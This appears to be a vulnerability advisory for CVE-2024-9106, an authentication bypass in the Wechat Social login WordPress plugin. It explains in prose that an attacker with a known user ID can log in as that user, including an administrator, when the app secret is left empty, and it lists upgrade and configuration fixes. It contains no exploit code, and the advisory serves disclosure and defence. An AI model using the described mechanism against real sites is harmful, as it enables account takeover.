CVE-2024-9106
Overview
This vulnerability is an authentication bypass caused by insufficient verification of user identity during the social login process in the Wechat Social login WordPress plugin. The flaw resides in the handling of user IDs supplied during authentication attempts, specifically when the app secret configuration is left unset or empty. The affected component is the social login module responsible for validating user credentials via third-party platforms such as Wechat, QQ, and DingTalk.
Vulnerability Description
The Wechat Social login plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 1.3.0. This is due to insufficient verification on the user being supplied during the social login. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they have access to the user id. This is only exploitable if the app secret is not set, so it has a default empty value.
Impact
An unauthenticated attacker with knowledge of a valid user ID can bypass authentication controls and log in as that user, including administrative accounts, without credentials. This requires no user interaction or prior authentication and can be exploited remotely over the network. The attacker gains full access to the targeted user’s privileges, potentially leading to complete site compromise, data exposure, and unauthorized administrative actions. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms no privileges or user interaction are required for exploitation.
Solution
Users of the xunhuweb Wechat Social login plugin should upgrade to a version later than 1.3.0 where this vulnerability is addressed. The Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/1bd44471-1a9c-4465-a52a-be64d51e7ea1) provides detailed patch information. Additionally, setting a non-empty app secret configuration is critical to prevent exploitation. Administrators should verify plugin settings to ensure the app secret is properly configured and monitor for updates from the plugin repository.

Full Analysis
The vulnerability in the Wechat Social login plugin for WordPress arises from inadequate verification processes during the social login procedure. Specifically, the flaw allows an attacker to bypass authentication mechanisms, enabling them to log in as any existing user on the site, including those with elevated privileges such as administrators. This vulnerability is particularly critical when the app secret is not configured, as it defaults to an empty value. Without proper validation of the user being authenticated, the plugin fails to ensure that the individual attempting to log in is indeed who they claim to be, thereby exposing the system to unauthorized access.
Exploitation of this vulnerability can occur through various attack vectors. An unauthenticated attacker could leverage knowledge of a valid user ID to gain access to that user's account. This could be achieved by crafting a malicious request that bypasses the authentication checks, effectively impersonating the target user. The risk is exacerbated in scenarios where the attacker has prior knowledge of the user IDs, which could be gathered through enumeration techniques or other reconnaissance methods. Once access is gained, the attacker can perform actions as the compromised user, potentially leading to data breaches, unauthorized changes to site content, or even full administrative control over the WordPress instance.
The real-world implications of this vulnerability are significant, particularly for organizations that rely on WordPress for their online presence. The ability for an attacker to impersonate an administrator can lead to severe business risks, including data loss, reputational damage, and financial repercussions. Organizations may face compliance issues if sensitive data is exposed or manipulated, leading to potential legal ramifications. Furthermore, the ease of exploitation, especially in the absence of an app secret, means that even less sophisticated attackers could successfully compromise a site, increasing the urgency for organizations to address this vulnerability.
To detect and mitigate the risks associated with this vulnerability, organizations should implement several strategies. First and foremost, it is crucial to update the Wechat Social login plugin to the latest version, where this flaw has been addressed. Regularly auditing and monitoring user accounts for unusual activity can help identify potential breaches early. Additionally, organizations should enforce strong security practices, such as requiring the configuration of the app secret and implementing two-factor authentication for all user accounts, particularly those with administrative privileges. Conducting regular security assessments and penetration testing can also help identify and remediate vulnerabilities before they can be exploited by malicious actors.
In conclusion, the authentication bypass vulnerability in the Wechat Social login plugin for WordPress poses a significant threat to the security of affected websites. The potential for unauthorized access to user accounts, especially those with administrative privileges, underscores the importance of robust security measures and proactive vulnerability management. By understanding the technical details, attack vectors, and real-world impacts associated with this vulnerability, organizations can better prepare themselves to defend against such threats and protect their digital assets.
